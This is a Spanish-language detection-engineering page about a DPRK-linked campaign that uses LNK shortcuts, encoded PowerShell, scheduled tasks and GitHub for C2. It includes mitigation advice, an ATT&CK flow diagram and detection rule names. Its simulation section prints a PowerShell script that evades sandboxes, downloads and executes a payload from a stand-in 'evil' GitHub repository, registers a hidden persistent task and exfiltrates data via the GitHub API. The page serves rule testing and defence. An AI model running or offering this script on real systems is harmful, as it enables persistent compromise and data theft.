Campañas Relacionadas con la RPDC con LNK y GitHub C2
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
FortiGuard Labs informa sobre una campaña vinculada a la DPRK que utiliza archivos de atajo LNK para lanzar etapas de PowerShell codificadas, establecer persistencia a través de tareas programadas y exfiltrar datos a través de GitHub. La línea de comando LNK incrusta la lógica de decodificación, permitiendo a los operadores depender de las utilidades de Windows integradas y reducir los artefactos de malware obvios. La actividad apunta a organizaciones en Corea del Sur y sigue un flujo de trabajo de múltiples etapas. Al utilizar infraestructura pública legítima como GitHub, la campaña se mezcla con el tráfico normal de los desarrolladores y complica el bloqueo basado en la red.
Investigación
Los analistas documentaron una cadena de tres etapas: (1) archivos LNK que llevan PowerShell codificado en sus argumentos, (2) una etapa de PowerShell que realiza verificaciones anti-análisis, deja caer un VBScript, crea una tarea programada oculta y recoge detalles del host/sistema, y (3) una etapa final que extrae repetidamente módulos adicionales de un repositorio de GitHub. Se observaron múltiples cuentas de GitHub apoyando el flujo de trabajo de C2, incluidos tokens de acceso codificados utilizados para cargar datos a través de la API de GitHub. Los operadores también usaron documentos PDF señuelo para hacer que la trampa sea más creíble y reducir la sospecha del usuario.
Mitigación
Bloquee o restrinja la ejecución de archivos LNK que provengan de ubicaciones no confiables (descargas de correos electrónicos, carpetas temporales, rutas de descarga de perfiles de usuario). Monitoree patrones de ejecución sospechosos de PowerShell y VBScript, especialmente cuando vayan seguidos de la creación de tareas programadas inusuales. Donde sea posible, limite o proxy el acceso a los puntos finales de la API de GitHub para sistemas sin necesidad de negocio, y alerte sobre el uso atípico de la API de GitHub desde hosts que no sean de desarrolladores. Refuerce el control de aplicaciones y las detecciones de EDR para marcar el abuso de herramientas nativas de Windows utilizadas para la preparación, decodificación y persistencia.
Respuesta
Si se detecta, aisle el endpoint y preserve la evidencia recogiendo el archivo LNK, la definición de la tarea programada y cualquier script dejado caer. Elimine la tarea programada, revoque cualquier token de acceso a GitHub expuesto, y realice un barrido completo del host en busca de artefactos relacionados y módulos de seguimiento. Notifique a las partes interesadas relevantes, actualice el contenido de detección para cubrir los comportamientos observados y los IOCs para apoyar la caza en un entorno más amplio.
"graph TB %% Class Definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef process fill:#ffef99 classDef malware fill:#ff9999 %% Nodes action_initial_access["<b>Acción</b> – <b>T1566.001 Phishing: Spearphishing Attachment</b><br/>Entrega de .lnk malicioso disfrazado como PDF coreano"] class action_initial_access action tool_lnk["<b>Herramienta</b> – <b>Nombre</b>: .lnk Shortcut<br/><b>Técnica</b>: T1547.009 Modificación de Atajo"] class tool_lnk tool action_execution_lnk["<b>Acción</b> – <b>T1547.009 Ejecución en Autoinicio de Arranque o Inicio de Sesión: Modificación de Atajo</b><br/>El atajo desencadena PowerShell"] class action_execution_lnk action tool_powershell["<b>Herramienta</b> – <b>Nombre</b>: PowerShell<br/><b>Técnica</b>: T1059.001 Intérprete de Comandos y Scripts"] class tool_powershell tool action_obfuscation["<b>Acción</b> – <b>Técnicas de Ofuscación</b><br/>T1027.012 Contrabando de Iconos, T1027.008 Cargas Útiles Despojadas, T1027.009 Cargas Útiles Incrustadas"] class action_obfuscation action action_sandbox_evasion["<b>Acción</b> – <b>T1497.002 Evasión de Virtualización/Sandbox</b><br/>Verifica herramientas de análisis y aborta"] class action_sandbox_evasion action action_decode_payload["<b>Acción</b> – <b>T1059.001 PowerShell</b><br/>Decodifica Base64/XOR, escribe VBScript en %Temp%"] class action_decode_payload action tool_vbscript["<b>Herramienta</b> – <b>Nombre</b>: VBScript<br/>Escribe script en %Temp%"] class tool_vbscript tool tool_scheduled_task["<b>Herramienta</b> – <b>Nombre</b>: Tarea Programada<br/><b>Técnica</b>: T1037 Scripts de Inicialización de Arranque o Inicio de Sesión"] class tool_scheduled_task tool action_persistence["<b>Acción</b> – <b>Persistencia</b><br/>Ejecuta VBScript cada 30 minutos"] class action_persistence action action_discovery["<b>Acción</b> – <b>Descubrimiento</b><br/>T1082 Descubrimiento de Información del Sistema, T1057 Descubrimiento de Procesos"] class action_discovery action action_c2["<b>Acción</b> – <b>Comando y Control</b><br/>T1567.001 Exfiltración a GitHub, T1102.002 Servicio Web Bidireccional, T1538 Panel de Servicio en la Nube"] class action_c2 action tool_github["<b>Herramienta</b> – <b>Nombre</b>: GitHub API<br/>Utilizado para exfiltración y recuperación de módulos"] class tool_github tool %% Connections action_initial_access –>|entrega| tool_lnk tool_lnk –>|desencadena| action_execution_lnk action_execution_lnk –>|utiliza| tool_powershell tool_powershell –>|ejecuta| action_obfuscation action_obfuscation –>|conduce a| action_sandbox_evasion action_sandbox_evasion –>|procede a| action_decode_payload action_decode_payload –>|escribe| tool_vbscript tool_vbscript –>|crea| tool_scheduled_task tool_scheduled_task –>|habilita| action_persistence action_persistence –>|recopila datos para| action_discovery action_discovery –>|envía datos a| action_c2 action_c2 –>|utiliza| tool_github "
Flujo de Ataque
Detecciones
Posibles Indicadores de Ofuscación de Powershell (a través de powershell)
Ver
Posible Descarga de Archivos de Github Iniciada por Proceso Inusual (a través de network_connection)
Ver
Cadenas Sospechosas de Powershell (a través de powershell)
Ver
Descarga o Subida a través de Powershell (a través de cmdline)
Ver
Posibilidad de Ejecución a través de Líneas de Comando PowerShell Ocultas (a través de cmdline)
Ver
Posible Archivo LNK Malicioso con Doble Extensión (a través de cmdline)
Ver
Posibles Verificaciones de Evasión (a través de powershell)
Ver
Cadenas Sospechosas de Powershell (a través de cmdline)
Ver
Posible Creación de Tarea Programada (a través de powershell)
Ver
IOCs (HashSha256) para detectar: Campañas Relacionadas con DPRK con LNK y GitHub C2
Ver
Script de PowerShell Descargando de GitHub para Persistencia y Exfiltración de Datos [Windows Powershell]
Ver
Ejecución de Simulación
Requisito previo: El chequeo previo de Telemetría y Línea Base debe haber pasado.
Justificación: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para desencadenar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTPs identificados y apuntar a generar la telemetría exacta esperada por la lógica de detección.
-
Narrativa & Comandos del Ataque:
El adversario ha comprometido una cuenta de usuario de bajo privilegio en una estación de trabajo de Windows. Para mantener la persistencia y exfiltrar datos de forma sigilosa, crean un simple comando de una línea de PowerShell que:- Verifica procesos comunes de herramientas de análisis (
vmxnet,vboxservice,idaq,fiddler,wireshark). Si alguno está presente, el script se aborta. - Descarga una carga útil codificada en Base64 desde un repositorio público de GitHub (
https://raw.githubusercontent.com/evil/loot/main/payload.b64). - Decodifica la carga útil en memoria y la ejecuta.
- Registra una tarea programada a través de
New‑ScheduledTaskActionpara re‑ejecutar el mismo comando de PowerShell en cada reinicio (persistencia). - Envía datos robados al repositorio de GitHub del atacante utilizando la API de GitHub (
api.github.com).
Todos los pasos están concatenados con punto y coma, asegurando que la completa línea de comando contenga las cadenas requeridas para la regla Sigma.
- Verifica procesos comunes de herramientas de análisis (
-
Script de Prueba de Regresión:
# ------------------------------------------------- # Comando de una línea que satisface cada condición Sigma # ------------------------------------------------- $envChecks = "vmxnet","vboxservice","idaq","fiddler","wireshark" foreach($c in $envChecks){ if (Get-Process -Name $c -ErrorAction SilentlyContinue){ exit } } $b64 = Invoke-RestMethod -Uri "https://raw.githubusercontent.com/evil/loot/main/payload.b64" $bytes = [System.Convert]::FromBase64String($b64) $decoded = [System.Text.Encoding]::UTF8.GetString($bytes) IEX $decoded $action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-NoProfile -WindowStyle Hidden -Command `"& {<INSERT SAME ONE‑Liner HERE>}`"" $trigger = New-ScheduledTaskTrigger -AtLogon Register-ScheduledTask -TaskName "SysUpdate" -Action $action -Trigger $trigger -RunLevel Highest -Force # Exfiltración de datos de muestra $data = "SensitiveInfo" $json = @{content=$data} | ConvertTo-Json Invoke-RestMethod -Method Post -Uri "https://api.github.com/repos/evil/collector/contents/data.txt" -Body $json -Headers @{Authorization="token <PAT>"}Nota: Reemplace
<INSERT SAME ONE‑Liner HERE>con el mismo comando de una línea exacto (recursivo) o guárdelo en una variable para evitar duplicación. El script está intencionadamente detallado para ilustrar cada paso; en una campaña real el adversario lo compactaría más. -
Comandos de Limpieza:
# Eliminar tarea programada Unregister-ScheduledTask -TaskName "SysUpdate" -Confirm:$false # Eliminar cualquier archivo temporal (si se escribió alguno) Remove-Item -Path "$env:TEMPpayload.b64" -ErrorAction SilentlyContinue # Opcionalmente terminar el proceso malicioso en memoria (si aún está corriendo) Get-Process -Name "powershell" | Where-Object {$_.StartInfo.Arguments -match "evil"} | Stop-Process -Force